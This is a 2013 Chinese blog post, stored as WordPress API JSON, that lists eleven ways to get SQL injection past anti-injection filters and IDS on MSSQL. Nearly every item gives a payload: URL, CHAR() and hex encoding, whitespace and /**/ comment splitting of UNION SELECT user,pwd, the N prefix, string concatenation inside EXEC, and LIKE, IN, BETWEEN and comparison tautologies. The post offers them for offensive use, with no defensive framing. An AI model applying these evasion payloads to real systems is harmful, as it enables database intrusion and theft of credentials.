{"id":705,"date":"2013-01-09T21:24:30","date_gmt":"2013-01-09T13:24:30","guid":{"rendered":"https:\/\/sdeno.com\/?p=705"},"modified":"2013-01-09T21:26:03","modified_gmt":"2013-01-09T13:26:03","slug":"11%e6%8b%9b%e5%b8%ae%e4%bd%a0%e7%bb%95%e8%bf%87%e9%98%b2%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/sdeno.com\/?p=705","title":{"rendered":"11\u62db\u5e2e\u4f60\u7ed5\u8fc7\u9632\u6ce8\u5165"},"content":{"rendered":"<p>1\u3001\u8fd0\u7528\u7f16\u7801\u6280\u672f\u7ed5\u8fc7<\/p>\n<p>\u5982URLEncode\u7f16\u7801\uff0cASCII\u7f16\u7801\u7ed5\u8fc7\u3002<\/p>\n<p>\u4f8b\u5982or 1=1\u5373<br \/>\n%6f%72%20%31%3d%31<\/p>\n<p>\u800cTest\u4e5f\u53ef\u4ee5\u4e3a<\/p>\n<p>CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)<\/p>\n<p>2\u3001\u901a\u8fc7\u7a7a\u683c\u7ed5\u8fc7<br \/>\n\u5982\u4e24\u4e2a\u7a7a\u683c\u4ee3\u66ff\u4e00\u4e2a\u7a7a\u683c\uff0c\u7528Tab\u4ee3\u66ff\u7a7a\u683c\u7b49\uff0c\u6216\u8005\u5220\u9664\u6240\u6709\u7a7a\u683c\uff0c\u5982<br \/>\nor\u201d swords\u201d =\u2018swords\u201d\uff0c\u7531\u4e8emssql\u7684\u677e\u6563\u6027\uff0c\u6211\u4eec\u53ef\u4ee5\u628aor \u201dswords\u201d \u4e4b\u95f4\u7684\u7a7a\u683c\u53bb\u6389\uff0c\u5e76\u4e0d\u5f71\u54cd\u8fd0\u884c\u3002<\/p>\n<p>3\u3001\u8fd0\u7528\u5b57\u7b26\u4e32\u5224\u65ad\u4ee3\u66ff<br \/>\n\u7528\u7ecf\u5178\u7684or 1=1\u5224\u65ad\u7ed5\u8fc7,<br \/>\n\u5982<\/p>\n<p>or \u201dswords\u201d =\u201dswords\u201d<\/p>\n<p>\u8fd9\u4e2a\u65b9\u6cd5\u5c31\u662f\u7f51\u4e0a\u5728\u8ba8\u8bba\u7684\u3002<\/p>\n<p>4\u3001\u901a\u8fc7\u7c7b\u578b\u8f6c\u6362\u4fee\u9970\u7b26N\u7ed5\u8fc7<br \/>\n\u53ef\u4ee5\u8bf4\u8fd9\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u60f3\u6cd5\uff0c\u4ed6\u9664\u4e86\u80fd\u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u7ed5\u8fc7\u9650\u5236\uff0c\u800c\u4e14\u8fd8\u6709\u522b\u7684\u4f5c\u7528\uff0c\u5927\u5bb6\u81ea\u5df1\u597d\u597d\u60f3\u60f3\u5427\u3002\u5173\u4e8e\u5229\u7528\uff0c<br \/>\n\u5982<\/p>\n<p>or \u201dswords\u201d = N\u201d swords\u201d<\/p>\n<p>\uff0c\u5927\u5199\u7684N\u544a\u8bc9mssql server \u5b57\u7b26\u4e32\u4f5c\u4e3anvarchar\u7c7b\u578b\uff0c\u5b83\u8d77\u5230\u7c7b\u578b\u8f6c\u6362\u7684\u4f5c\u7528\uff0c\u5e76\u4e0d\u5f71\u54cd\u6ce8\u5c04\u8bed\u53e5\u672c\u8eab\uff0c\u4f46\u662f\u53ef\u4ee5\u907f\u8fc7\u57fa\u4e8e\u77e5\u8bc6\u7684\u6a21\u5f0f\u5339\u914dIDS\u3002<\/p>\n<p>5\u3001\u901a\u8fc7+\u53f7\u62c6\u89e3\u5b57\u7b26\u4e32\u7ed5\u8fc7<br \/>\n\u6548\u679c\u503c\u5f97\u8003\u8bc1\uff0c\u4f46\u6bd5\u7adf\u662f\u4e00\u79cd\u65b9\u6cd5\u3002\u5982<\/p>\n<p>or \u201dswords\u201d =\u2018sw\u201d +\u201d ords\u201d \uff1bEXEC(\u2018IN\u201d +\u201d SERT INTO \u201d+\u201d \u2026..\u201d )<\/p>\n<p>6\u3001\u901a\u8fc7LIKE\u7ed5\u8fc7<br \/>\n\u4ee5\u524d\u600e\u4e48\u5c31\u6ca1\u60f3\u5230\u5462\uff1f<br \/>\n\u5982<\/p>\n<p>or\u201dswords\u201d LIKE \u201dsw\u201d<\/p>\n<p>\u663e\u7136\u53ef\u4ee5\u5f88\u8f7b\u677e\u7684\u7ed5\u8fc7\u201c=\u201d\u201c&gt;\u201d\u7684\u9650\u5236\u2026\u2026<\/p>\n<p>7\u3001\u901a\u8fc7IN\u7ed5\u8fc7<br \/>\n\u4e0e\u4e0a\u9762\u7684LIKE\u7684\u601d\u8def\u5dee\u4e0d\u591a,<br \/>\n\u5982<\/p>\n<p>or \u201dswords\u201d IN (\u201dswords\u201d)<\/p>\n<p>8\u3001\u901a\u8fc7BETWEEN\u7ed5\u8fc7<br \/>\n\u5982<\/p>\n<p>or \u201dswords\u201d BETWEEN \u201drw\u201d AND \u201dtw\u201d<\/p>\n<p>9\u3001\u901a\u8fc7&gt;\u6216\u8005&lt;\u7ed5\u8fc7<\/p>\n<p>or &#8221;swords&#8221; &gt; \u201dsw\u201d<br \/>\nor \u201dswords\u201d &lt; \u201dtw\u201d<br \/>\nor 1&lt;3<br \/>\n\u2026\u2026<\/p>\n<p>10\u3001\u8fd0\u7528\u6ce8\u91ca\u8bed\u53e5\u7ed5\u8fc7<br \/>\n\u7528\/**\/\u4ee3\u66ff\u7a7a\u683c\uff0c\u5982\uff1aUNION \/**\/ Select \/**\/user\uff0cpwd\uff0cfrom tbluser<br \/>\n\u7528\/**\/\u5206\u5272\u654f\u611f\u8bcd\uff0c\u5982\uff1aU\/**\/ NION \/**\/ SE\/**\/ LECT \/**\/user\uff0cpwd from tbluser<\/p>\n<p>11\u3001\u7528HEX\u7ed5\u8fc7\uff0c\u4e00\u822c\u7684IDS\u90fd\u65e0\u6cd5\u68c0\u6d4b\u51fa\u6765<\/p>\n<p>0x730079007300610064006D0069006E00 =hex(sysadmin)<br \/>\n0x640062005F006F0077006E0065007200 =hex(db_owner)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1\u3001\u8fd0\u7528\u7f16\u7801\u6280\u672f\u7ed5\u8fc7 \u5982URLEncode\u7f16\u7801\uff0cASCII\u7f16\u7801\u7ed5\u8fc7\u3002 \u4f8b\u5982or 1=1\u5373 %6f%72%20% [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"close","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,9],"tags":[],"class_list":["post-705","post","type-post","status-publish","format-standard","hentry","category-11","category-9"],"_links":{"self":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts\/705","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=705"}],"version-history":[{"count":0,"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts\/705\/revisions"}],"wp:attachment":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=705"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=705"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=705"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}